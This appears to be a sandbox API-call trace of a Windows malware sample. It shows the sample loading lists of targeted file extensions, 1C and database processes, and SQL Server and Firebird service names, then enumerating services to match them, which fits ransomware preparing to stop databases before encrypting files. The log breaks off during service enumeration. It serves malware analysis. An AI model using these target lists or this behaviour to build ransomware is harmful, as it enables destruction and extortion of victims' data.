[0317.544] GetProcAddress (hModule=0x77940000, lpProcName="send") returned 0x77945030 [0317.544] GetProcAddress (hModule=0x77940000, lpProcName="recv") returned 0x77950c50 [0317.544] GetProcAddress (hModule=0x77940000, lpProcName="connect") returned 0x77945410 [0317.544] GetProcAddress (hModule=0x77940000, lpProcName="closesocket") returned 0x77950910 [0317.544] GetProcAddress (hModule=0x77940000, lpProcName="gethostbyname") returned 0x77976cb0 [0317.544] GetProcAddress (hModule=0x77940000, lpProcName="inet_addr") returned 0x77959160 [0317.545] GetProcAddress (hModule=0x77940000, lpProcName="ntohl") returned 0x779449d0 [0317.545] GetProcAddress (hModule=0x77940000, lpProcName="htonl") returned 0x779449d0 [0317.545] GetProcAddress (hModule=0x77940000, lpProcName="htons") returned 0x77958ff0 [0317.545] GetProcessHeap () returned 0x490000 [0317.545] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x20) returned 0x4a2d60 [0317.545] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=17581255635) returned 1 [0317.545] GetTickCount () returned 0x2aea5 [0317.545] GetCurrentProcessId () returned 0xc50 [0317.547] GetTickCount () returned 0x2aea5 [0317.547] GetTickCount () returned 0x2aea5 [0317.547] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x20) returned 0x4a2d88 [0317.547] GetVersion () returned 0x23f00206 [0317.547] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x7) returned 0x4a02a8 [0317.547] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a1e10 [0317.547] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a1e10, Size=0x20) returned 0x495d38 [0317.547] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x495d38, Size=0x40) returned 0x495d38 [0317.547] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4a7f28 [0317.547] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MA") returned 0x1e4 [0317.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a02a8 | out: hHeap=0x490000) returned 1 [0317.547] lstrlenW (lpString="Global\\syncronize_") returned 18 [0317.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x495d38 | out: hHeap=0x490000) returned 1 [0317.547] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x7) returned 0x4a0158 [0317.547] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a1f60 [0317.547] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a1f60, Size=0x20) returned 0x495d38 [0317.548] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x495d38, Size=0x40) returned 0x495d38 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4b7f30 [0317.548] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MU") returned 0x1e8 [0317.548] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a0158 | out: hHeap=0x490000) returned 1 [0317.548] lstrlenW (lpString="Global\\syncronize_") returned 18 [0317.548] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x495d38 | out: hHeap=0x490000) returned 1 [0317.548] GetVersion () returned 0x23f00206 [0317.548] GetCurrentProcess () returned 0xffffffff [0317.548] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1ec) returned 1 [0317.548] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0317.548] CloseHandle (hObject=0x1ec) returned 1 [0317.548] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x102 [0317.548] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x3e8) returned 0x0 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a35d0 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a1e10 [0317.548] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a1e10, Size=0x20) returned 0x495d38 [0317.548] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x495d38, Size=0x40) returned 0x495d38 [0317.548] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x495d38, Size=0x80) returned 0x4992b0 [0317.548] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4992b0, Size=0x100) returned 0x4a1ab8 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x34) returned 0x4a5898 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a0268 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a02a8 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a0158 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a1f30 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a02c8 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a1e10 [0317.548] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a02c8, Size=0x8) returned 0x4a01b8 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a1e28 [0317.548] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a01b8, Size=0x10) returned 0x4a1e58 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a1e70 [0317.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a1f48 [0317.548] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a1e58, Size=0x20) returned 0x495d38 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a1ea0 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a1f60 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a0268, Size=0x8) returned 0x4a02c8 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a02a8, Size=0x8) returned 0x4a02d8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a0178 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a1f90 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a01b8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a1f00 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a01b8, Size=0x8) returned 0x4a02a8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a1e58 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a02a8, Size=0x10) returned 0x4a1e88 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a1fa8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a0268 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a1e88, Size=0x20) returned 0x495d60 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a02c8, Size=0x10) returned 0x4a1e88 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a02d8, Size=0x10) returned 0x4a2068 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a02a8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a20f8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a02c8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a2038 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a02c8, Size=0x8) returned 0x4a02d8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a02c8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a2098 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a0168 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a2050 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a0168, Size=0x8) returned 0x4a01b8 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a1e88, Size=0x20) returned 0x495c80 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2068, Size=0x20) returned 0x4c82a8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a0168 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a20c8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a01d8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a20e0 [0317.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a01d8, Size=0x8) returned 0x4a01e8 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a3670 [0317.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a35f0 [0317.549] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0317.549] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a1ab8 | out: hHeap=0x490000) returned 1 [0317.549] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a20b0 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a20b0, Size=0x20) returned 0x4c7fb0 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c7fb0, Size=0x40) returned 0x4a2bf8 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2bf8, Size=0x80) returned 0x4cdc60 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cdc60, Size=0x100) returned 0x4cdc60 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a2080 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2080, Size=0x20) returned 0x4c7f60 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c7f60, Size=0x40) returned 0x4a2c40 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2c40, Size=0x80) returned 0x4cdd68 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cdd68, Size=0x100) returned 0x4cdd68 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a2068 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cc868 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a2080 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc868, Size=0x8) returned 0x4cc7a8 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a3570 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc7a8, Size=0x10) returned 0x4a20b0 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x18) returned 0x4a3530 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1a) returned 0x4c8078 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a20b0, Size=0x20) returned 0x4c8258 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1c) returned 0x4c80c8 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x16) returned 0x4a3430 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1a) returned 0x4c80f0 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a20b0 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cc748 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40) returned 0x4a2ad8 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc748, Size=0x8) returned 0x4cc808 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x3c) returned 0x4a2b20 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc808, Size=0x10) returned 0x4a1e88 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a34d0 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x18) returned 0x4a3590 [0317.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a1e88, Size=0x20) returned 0x4c8280 [0317.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x24) returned 0x4a3110 [0317.552] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0317.552] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cdc60 | out: hHeap=0x490000) returned 1 [0317.552] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0317.552] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cdd68 | out: hHeap=0x490000) returned 1 [0317.553] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4c8000 [0317.557] EnumServicesStatusExW (in: hSCManager=0x4c8000, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0317.558] GetLastError () returned 0xea [0317.558] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1de6) returned 0x4d0048 [0317.558] EnumServicesStatusExW (in: hSCManager=0x4c8000, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4d0048, cbBufSize=0x1de6, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4d0048, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0317.559] CloseServiceHandle (hSCObject=0x4c8000) returned 1 [0317.559] lstrlenW (lpString="Appinfo") returned 7 [0317.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0317.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0317.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0317.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0317.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0317.561] lstrlenW (lpString="AppXSvc") returned 7 [0317.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0317.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0317.561] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0317.561] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0317.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0317.561] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0317.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0317.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0317.561] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0317.561] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0317.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0317.561] lstrlenW (lpString="Audiosrv") returned 8 [0317.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0317.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0317.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0317.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0317.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0317.561] lstrlenW (lpString="BFE") returned 3 [0317.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0317.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0317.561] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0317.561] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0317.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0317.561] lstrlenW (lpString="BITS") returned 4 [0317.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0317.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0317.562] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0317.562] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0317.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0317.562] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0317.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0317.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0317.562] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0317.562] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0317.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0317.562] lstrlenW (lpString="CDPSvc") returned 6 [0317.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0317.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0317.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0317.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0317.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0317.562] lstrlenW (lpString="ClickToRunSvc") returned 13 [0317.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0317.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0317.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0317.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0317.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0317.562] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0317.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0317.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0317.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0317.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0317.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0317.562] lstrlenW (lpString="CryptSvc") returned 8 [0317.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0317.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0317.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0317.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0317.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0317.562] lstrlenW (lpString="DcomLaunch") returned 10 [0317.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0317.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0317.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0317.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0317.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0317.562] lstrlenW (lpString="DeviceAssociationService") returned 24 [0317.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0317.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0317.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0317.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0317.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0317.563] lstrlenW (lpString="Dhcp") returned 4 [0317.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0317.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0317.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0317.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0317.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0317.563] lstrlenW (lpString="Dnscache") returned 8 [0317.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0317.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0317.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0317.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0317.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0317.563] lstrlenW (lpString="DoSvc") returned 5 [0317.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0317.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0317.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0317.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0317.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0317.563] lstrlenW (lpString="DPS") returned 3 [0317.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0317.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0317.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0317.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0317.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0317.563] lstrlenW (lpString="DusmSvc") returned 7 [0317.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0317.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0317.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0317.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0317.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0317.563] lstrlenW (lpString="EventLog") returned 8 [0317.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0317.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0317.563] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0317.563] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0317.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0317.563] lstrlenW (lpString="EventSystem") returned 11 [0317.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0317.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0317.563] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0317.564] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0317.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0317.564] lstrlenW (lpString="FontCache") returned 9 [0317.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0317.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0317.564] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0317.564] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0317.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0317.564] lstrlenW (lpString="gpsvc") returned 5 [0317.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0317.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0317.564] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0317.564] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0317.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0317.564] lstrlenW (lpString="iphlpsvc") returned 8 [0317.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0317.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0317.564] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0317.564] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0317.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0317.564] lstrlenW (lpString="KeyIso") returned 6 [0317.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0317.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0317.564] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0317.564] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0317.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0317.564] lstrlenW (lpString="LanmanServer") returned 12 [0317.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0317.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0317.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 